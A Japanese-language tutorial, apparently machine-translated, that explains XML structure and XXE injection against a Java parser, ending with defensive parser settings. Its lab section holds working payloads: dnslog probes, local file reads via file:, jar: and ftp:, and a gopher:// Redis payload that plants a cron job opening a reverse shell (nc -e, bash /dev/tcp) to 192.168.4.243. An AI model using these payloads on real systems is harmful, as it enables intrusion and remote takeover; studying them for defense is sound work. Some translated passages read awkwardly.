序文:
XXE の正式名称は XML 外部エンティティ インジェクション、XML 外部エンティティ インジェクションとも呼ばれ、現在、XML 形式は Web アプリケーションの認証、ファイル転送、画像アップロードなどのさまざまな機能で広く使用されています。
一般に、XML はデータの送信と保存に使用される拡張可能なマークアップ言語です。XXE は、SSRF と同様に、攻撃者がアプリケーション サーバーのファイル システム上のファイルを表示し、サーバーを介して外部にデータを送信し、外部からアクセスできない一部の内部インターフェイスにアクセスできるようにするマーク付きの外部エンティティです。
脆弱性の原則:
XML 構造:
XXE 脆弱性の原因を理解するには、まず XML の構造的特徴を理解し、以下をより深く理解する必要があります。
XML 宣言:
<?xml version=”1.0”standalone=”yes”encoding=”UTF-8”?>
これはXML処理命令です。処理命令は <? で始まり ?> で終わります。<? の後の最初の単語は、XML 宣言を表す xml などのコマンド名です。
バージョン、スタンドアロン、およびエンコーディングは 3 つの機能です。機能は、等号で区切られた名前と値のペアです。等号の左側は機能名、等号の右側は機能の値です、引用符で囲まれています。の
- version: このドキュメントが 1.0 仕様に準拠していることを示します
- スタンドアロン: ドキュメントをこのファイルの外部からインポートする必要があることを示します。スタンドアロンの値は [はい] に設定されており、すべてのドキュメントがこのファイル内で完了していることを示します。
- エンコーディング: ドキュメントの文字エンコーディングを指します。
XML ルート要素の定義:
XML ドキュメントのツリー構造にはルート要素が必要です。ルート要素の開始タグは他のすべての要素の開始タグの前に配置する必要があり、ルート要素の終了タグは他のすべての要素の終了タグの後に配置する必要があります。
<?xml version="1.0"coding="GB2312"standalone="no"?> <users> <name>张三</name> </users>
XML要素:
要素の基本構造は、開始タグ、データ コンテンツ、および終了タグで構成されます。
<?xml version="1.0" encoding="GB2312"standalone="no"?> <人> <名前 >張三</名前> < 性別>男性</性別> </人>
その中で、次の点に注意する必要があります。
- 要素タグは大文字と小文字が区別されます。<Name> と <name> は 2 つの異なるタグです
- 終了タグには、</Name> のようにバックスラッシュが必要です。
XML 要素タグの命名規則は次のとおりです。
- 名前には文字、数字、その他の文字を含めることができます
- 名前を数字やアンダースコアで始めることはできません
- 名前を XML で始めることはできません
- 名前にはスペースやコロンを含めることはできません
PI(処理命令):
PI は、Processing struct、処理命令を指します。PI は「<?」で始まり「?>」で終わり、下流のドキュメントに情報を送信するために使用されます。
<?xml:stylesheet href=”core.css” type=”text/css” ?>
この例は、この XML ドキュメントが core.css を使用して表示を制御することを示しています。
PCDATA :
#PCDATA : 要素に解析された文字データが含まれることを指定します。PCDATA の使用法を説明する例を示します。ここ
では、movie.xml が映画コンテンツ データを保存し、movie.dtd が movie.xml を検証します。
ファイル例 (movies.dtd):
<?xml version="1.0"coding="GB2312"?> <!ELEMENT ムービー (id、名前、概要、時間)> <!ATTLIST ムービー タイプ CDATA #REQUIRED> <!ELEMENT id (#PCDATA)> <!ELEMENT名前 (#PCDATA)> <!ELEMENT 概要 (#PCDATA)> <!ELEMENT 時間 (#PCDATA)>
id、name、brief、time には非マークアップ テキストのみを含めることができます (独自の子要素を持つことはできません)。
XML ファイルは次のようになります (movies.xml)。
<?xml version="1.0"coding="GB2312"?> <!DOCTYPE 映画 SYSTEM "movies.dtd"> <movies type="movies"> <id>1</id> <name> 危摇篮</name > <brief>李连杰最新力作</brief> <time>2003</time> </movies>
CDATA:
CDATA は、テキストのブロック全体をマークアップではなくプレーン文字データとして解釈する必要がある場合に使用されます。CDATA は、テキストにタグの代わりに「<」、「>」、「&」、「"」文字が多数含まれている場合に非常に役立ちます。
<例> <![CDATA[ <人 > <名前>ZhangSan</Name> <性別>男性</性別> < /人> ]]> </Example>
主体:
エンティティ (entity) は XML の記憶単位であり、エンティティには文字列、ファイル、データベース レコードなどが含まれます。エンティティの有用性は主に、ドキュメント内での繰り返し入力を避けることです。ドキュメントのエンティティ名を定義し、ドキュメント内のエンティティ名を参照してドキュメントを置き換えることができます。XML がドキュメントを解析すると、エンティティ名が置き換えられます対応する文書とともに。
<!DOCTYPE example [ <!ENTITY intro "ここに XML エンティティのコメントがあります"> ]> <example> <hello>&intro;</hello> </example>
ドキュメントタイプ :
DTD ステートメントは常に !DOCTYPE で始まり、その後に空白スペースの後にドキュメントのルート要素の名前が続きます。ここに XXE 脆弱性の主要な場所があります。ここでは、DTD の詳細な説明を次に示します。
- 内部 DTD
- 外部 DTD:
- プライベート DTD: SYSTEM を使用し、その後に外部 DTD の URL を指定します。
- パブリック DTD: PUBLIC を使用し、その後に DTD パブリック名、その後に DTD の URL を続けます。
内部 DTD:
まず内部 DTD の形式を確認します。
<!DOCTYPE ルート要素名[<!ELEMENT 要素名(要素型定義)>]>
たとえば、次の XML ドキュメントの型定義の場合、内部 DTD 形式を使用してノードをチェックし、XML 構造とデータ型が正当であるかどうかを判断できます。
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE poem [
<!ELEMENT poem (title,author,line+)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT line (#PCDATA)>
]>
<poem>
<title>静夜思</title>
<author>李白</author>
<line>床前明月光,</line>
<line>疑事地上霜.</line>
<line>举头望明月,</line>
<line>低头思故乡.</line>
</poem>
外部 DTD のプライベート DTD:
DTD が XML ドキュメント内に配置されると、XML ドキュメントが大きくなり、一部のプログラムでは DTD 情報が必要なくなる可能性がありますが、他方では、DTD の共有に役立たず、異なる XML ドキュメントが共有する可能性があります。このDTD。これが外部 DTD が存在する理由であり、プライベート DTD がメソッドを定義します。
<!DOCTYPE ルート要素名 SYSTEM "外部 DTD ファイルの URI">
<!DOCTYPE poem SYSTEM "http://test.com/poem.dtd">
<poem>
<title>静夜思</title>
<author>李白</author>
<line>床前明月光,</line>
<line>疑事地上霜.</line>
<line>举头望明月,</line>
<line>低头思故乡.</line>
<commet>李白是中国最伟大的诗人!</commet>
</poem>
http://test.com/poem.dtd内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT poem (title,author,line+,commet)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT line (#PCDATA)>
<!ELEMENT commet (#PCDATA)>
このようにして、サーバーは指定された URL にアクセスして分析用の dtd を見つけます。ここで注意すべきは、この URL を制御できる場合、サーバーに任意のサーバーにアクセスさせることができるため、XXE の脆弱性は次のとおりです。外部からのアクセスが許可されていますが、詳しくは後述します。
外部 DTD のパブリック DTD:
パブリック DTD は、主にキーワード DOCTYPE、PUBLIC を使用して次のように定義されます。
<!DOCTYPE ルート要素名 PUBLIC "DTD 名" "外部 DTD ファイルの URI">
<!DOCTYPE poem PUBLIC "-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN"
"http://www.test.org/poem.dtd">
<poem>
<title>静夜思</title>
<author>李白</author>
<line>床前明月光,</line>
<line>疑事地上霜.</line>
<line>举头望明月,</line>
<line>低头思故乡.</line>
<commet>李白是中国最伟大的诗人!</commet>
</poem>
-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN」、これはパブリック DTD の名前です。このネーミングは少し特殊です。まず、「-」で始まります。これは、この DTD が標準組織によって開発されたものではないことを示します。次に、二重スラッシュ "//" があり、その後に DTD 所有者の名前が続きます。明らかに、この DTD は Sun 社によって設定されています。その後、別の二重スラッシュ " があります。 //" の後に DTD 記述ドキュメント タイプが続くと、この DTD が jsp タグ ライブラリ バージョン 1.2 の形式を記述していることがわかります。その後に "//" と ISO 639 言語識別子が続きます。
XXE の脆弱性:
上記の基本的な知識があれば、XXE の根本原因は、外部 DTD の定義によって引き起こされる一連のセキュリティ問題であることがわかります。検証するための簡単なコードを書いてみましょう。
サーバー側の Java コード:
public class Main {
public static void main(String[] args) {
Main main = new Main();
XmlReader();
}
public static void XmlReader() {
DocumentBuilderFactory domfac = DocumentBuilderFactory.newInstance();
try {
DocumentBuilder domBuilder = domfac.newDocumentBuilder();
InputStream is = Files.newInputStream(new File("D:\\code\\xxetest\\xxe\\src\\main\\java\\org\\example\\test.xml").toPath());
Document doc = domBuilder.parse(is);
Element root = doc.getDocumentElement();
NodeList users = root.getChildNodes();
for (int i = 0; i < users.getLength(); i++) {
Node user = users.item(i);
if (user.getNodeType() == Node.ELEMENT_NODE) {
for (Node node = user.getFirstChild(); node != null; node = node
.getNextSibling()) {
if (node.getNodeType() == Node.ELEMENT_NODE) {
if (node.getNodeName().equals("name")) {
String name = node.getNodeValue();
String name1 = node.getFirstChild()
.getNodeValue();
System.out.println("name==" + name);
System.out.println("name1==" + name1);
}
if (node.getNodeName().equals("price")) {
String price = node.getFirstChild()
.getNodeValue();
System.out.println(price);
}
}
}
}
}
NodeList node = root.getElementsByTagName("string");
for (int i = 0; i < node.getLength(); i++) {
Node str = node.item(i);
String s = str.getFirstChild().getNodeValue();
System.out.println(s);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
通常の XML コードは次のとおりです。
<?xml version="1.0" encoding="GB2312" standalone="no"?>
<users>
<user email="www.baidu.com">
<name>张三</name>
<age>18</age>
<sex>男</sex>
</user>
<user>
<name>李四</name>
<age>16</age>
<sex>女</sex>
</user>
<user>
<name>王五</name>
<age>25</age>
<sex>不明</sex>
</user>
</users>
実行後、通常の分析が表示されます。
ただし、xml の内容を変更すると、次のようになります。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poem SYSTEM "http://dxzxw3.dnslog.cn">
<poem></poem>
ここでは、アップロードした XML を解析するときに dxzxw3.dnslog.cn にアクセスし、それを実行して思ったものと同じかどうかを確認します。
dnslog プラットフォームへのアクセスが成功したことがわかります。パブリック DTD の外部参照を使用して、成功するかどうかを確認してみましょう。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poem PUBLIC "-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN"
"http://0zbc0e.dnslog.cn">
<poem></poem>
実行後、DNSLOG プラットフォームへのアクセスが成功したことも確認できます。
ここで、サーバーに xxe 脆弱性があるかどうかをテストするときは、パブリック DTD またはプライベート DTD を使用して dnslog プラットフォームで確認するだけでよく、キーワードは PUBLIC または SYSTEM で、http ヘッダーは次のようにマークされる必要があることがわかります。 XML 分析:
Content-Type: text/xml
Content-Type: application/xml
XXE アドバンスト:
上記では、Web サイトに XXE 脆弱性があるかどうかを迅速に検出する方法を主に紹介しました。攻撃、システムファイルをどのように読みたいのですが、次の方法で大丈夫ですか?
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
<users>
<user>
<name>李四</name>
<age>16</age>
<sex>女</sex>
</user>
</users>
読み取りファイルを出力していないため、このように書くのは間違っています。第二に、読み取りファイルは dtd 検出を満たさず、エラーが報告されます。
次に、ファイルをどのように読み取るかですが、この時点では、ENTITY を使用して、読み取ったコンテンツを入力用の正しいラベルに参照する必要があります。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY test SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
]>
<users>
<user>
<name>&test;</name>
<age>16</age>
<sex>女</sex>
</user>
</users>
実行後、コンテンツが正常に読み取られて出力されたことがわかります。
あるいは、実験的なパブリック DTD も利用できます。
<!DOCTYPE users [
<!ENTITY test PUBLIC "-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2//EN"
"file:///c:/windows/system32/drivers/etc/hosts">
]>
したがって、サポートされているプロトコルである限り、それを使用できると言えます。
ここでは説明なしで Java、php などをテストします。Java の最後の呼び出しは URL モジュールです。jdk1.8 の URL モジュールは 7 つのプロトコルのみをサポートしますが、jdk1.7 は 8 つのプロトコルをサポートします。
jdk1.8支持: file,ftp,http,https,jar,mailto,netdoc
jdk1.7支持: file,ftp,http,https,jar,mailto,netdoc,gopher
jdk1.7 は gopher をサポートしていますが、開発者はこのプロトコルのサポートを有効にする必要があり、これは少し味気ありません。
Jar プロトコルは以下を利用します。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY test SYSTEM "jar:file:///D:/test/drools-compiler.jar!/META-INF/MANIFEST.MF">
]>
<users>
<user>
<name>&test;</name>
<age>16</age>
<sex>女</sex>
</user>
</users>
ここで注意すべき点は、読み込んだ内容がクラスファイルの場合、クラス内に特殊文字が含まれているか、サイズが大きすぎるため例外が発生することです。
イントラネットに FTP の不正な脆弱性がある場合、FTP プロトコルを使用してディレクトリを読み取ることができます。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY test SYSTEM "ftp://127.0.0.1:21">
]>
<users>
<user>
<name>&test;</name>
</user>
</users>
ゴーファープロトコル:
gopher プロトコルを使用するには jdk を手動で設定する必要がありますが、研究の精神でまだテストされています。gopher プロトコルは通常、 ssrf を使用してredis、mysql、fastcgi、smtpおよびその他のサービスを攻撃するために使用されます。 mysql テストを実行するだけです。
gopher://ip:port/_TCP/IP データ フロー
知らせ:
- gopher プロトコル データ ストリームでは、URL エンコードでは %0d%0a を使用して文字列内のキャリッジ リターンとライン フィードを置き換えます。
- データ ストリームの最後に %0d%0a を使用して、メッセージの終わりを表します
URL コードを確認すると、Gopher プロトコルであるかどうかが判断されることがわかります。Gopher プロトコルである場合は、enableGopher が True であるかどうかを判断する必要があります。
ただし、ここではデフォルト値が false であり、ここでは true に変更されていることがわかります。
ここでは、リフレクション メソッドを使用して変更します。その修飾子は private static Final であるため、次のコードを使用して変更します。
public class Main {
private static Unsafe unsafe;
static{
try{
final Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
unsafe = (Unsafe) unsafeField.get(null);
}catch(Exception ex){
ex.printStackTrace();
}
}
public static void setFinalStatic(Field field, Object value) {
try {
Object fieldBase = unsafe.staticFieldBase(field);
long fieldOffset = unsafe.staticFieldOffset(field);
unsafe.putObject(fieldBase, fieldOffset, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
Main main = new Main();
XmlReader();
}
public static void XmlReader() throws Exception {
//URL url = new URL("gopher://192.168.4.243:6379");
String class_name = "java.net.URL";
Class urlclass = Class.forName(class_name);
Field field = urlclass.getDeclaredField("enableGopher");
field.setAccessible(true);
boolean back = (boolean) field.get(urlclass);
Main.setFinalStatic(field, true);
DocumentBuilderFactory domfac = DocumentBuilderFactory.newInstance();
try {
DocumentBuilder domBuilder = domfac.newDocumentBuilder();
InputStream is = Files.newInputStream(new File("D:\\code\\xxetest\\xxe\\src\\main\\java\\org\\example\\test.xml").toPath());
Document doc = domBuilder.parse(is);
Element root = doc.getDocumentElement();
NodeList users = root.getChildNodes();
for (int i = 0; i < users.getLength(); i++) {
Node user = users.item(i);
if (user.getNodeType() == Node.ELEMENT_NODE) {
for (Node node = user.getFirstChild(); node != null; node = node
.getNextSibling()) {
if (node.getNodeType() == Node.ELEMENT_NODE) {
if (node.getNodeName().equals("name")) {
String name = node.getNodeValue();
String name1 = node.getFirstChild()
.getNodeValue();
System.out.println("name==" + name);
System.out.println("name1==" + name1);
}
if (node.getNodeName().equals("price")) {
String price = node.getFirstChild()
.getNodeValue();
System.out.println(price);
}
}
}
}
}
NodeList node = root.getElementsByTagName("string");
for (int i = 0; i < node.getLength(); i++) {
Node str = node.item(i);
String s = str.getFirstChild().getNodeValue();
System.out.println(s);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
Gopherus を使用して以下を生成します。
生成されたものを XML に入れます。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY test SYSTEM "gopher://192.168.4.243:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2451%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20nc%20-e%20/bin/bash%20192.168.4.243%201234%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2424%0D%0A/var/spool/cron/crontabs%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A">
]>
<users>
<user>
<name>&test;</name>
<age>16</age>
<sex>女</sex>
</user>
</users>
通常、スケジュールされたタスクのコマンドを追加します。
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.4.243/1234 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
Centos 的定时任务文件在 /var/spool/cron/<username>
Ubuntu 的定时任务文件在 /var/spool/cron/crontabs/<username>
実行後、/var/spool/cron/crontabs に新しいルート ファイルが作成されていることがわかります。
シェルのリバウンドに成功しました
XXE ディフェンス:
実際、ユーティリティ DTD が外部エンティティをロードすることが禁止されている限り、XXE の防御も非常に簡単です。
現在、公式の保護モードは 3 つあります。
javax.xml.XMLConstants.ACCESS_EXTERNAL_DTD: 外部 DTD および外部エンティティ参照にアクセスできるプロトコルのリスト。 javax.xml.XMLConstants.ACCESS_EXTERNAL_SCHEMA: import 要素と include 要素の schemaLocation 属性で指定された外部スキーマ参照を解決できるプロトコルのリスト。 javax.xml.XMLConstants.ACCESS_EXTERNAL_STYLESHEET: 処理命令、document() 関数、import 要素、および include 要素などのスタイルシート構成で指定された外部参照を解決できるプロトコルのリスト。
コード内で設定するだけです。例として DocumentBuilderFactory を取り上げます。
String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);
要約:
テストでは、アップロードポイントやXMLデータをアップロードする場所が存在する限り、XXE脆弱性が存在する可能性があり、実際の返却状況に応じて、ファイルの読み込みが可能か、イントラネットスキャンが可能か判断できます。実行されました。
XXE の脆弱性の原理も非常に単純で、要するに XML の外部参照機能が悪用され、許可されたプロトコルに応じて SSRF やローカルファイル読み取りの脆弱性が実装される可能性があります。